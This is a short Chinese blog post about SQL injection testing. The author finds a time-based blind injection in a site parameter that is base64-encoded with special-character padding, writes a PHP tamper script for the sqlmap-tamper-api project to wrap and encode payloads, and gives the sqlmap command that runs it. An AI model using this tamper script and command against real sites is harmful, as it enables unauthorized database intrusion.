Loading

Sqlmap Tamper-API初使用

今天晚上测一个站,发现url长这样

https://xxx.xx/xxxx.php?id=QD48PyomJTkxQCgrIyVeKw==

base64解码后,发现是前后都有特殊字符,参数数字值在中间

image

测一下是否有注入,延时几秒试试,拼接下参数

image

确实存在时间盲注

image

接着就是想怎么用编写tamper用sqlmap自动跑了,以前也没搞过,就瞎找,找到个项目

https://github.com/KINGSABRI/sqlmap-tamper-api

这个项目是真的舒服,可以用php,js来处理payload

#!/usr/bin/env php
<?php

$json    = json_decode($argv[1], true);
$payload = $json['payload'];
$kwargs  = $json['kwargs'];

$payload = '@><?*&%'.$payload.'@(+#%^+';
$json['payload'] = base64_encode($payload);

echo json_encode($json);
?>

写完php处理脚本,和tamper-api.py一起丢到sqlmap/tamper目录下就行(只支持py2)

python sqlmap.py -u https://XXX.XXX/XXX?id=290 --tamper tamper-api base64encode.php

image

posted @ 2023-03-19 01:49  萝卜不黑  阅读(38)  评论(0)    收藏  举报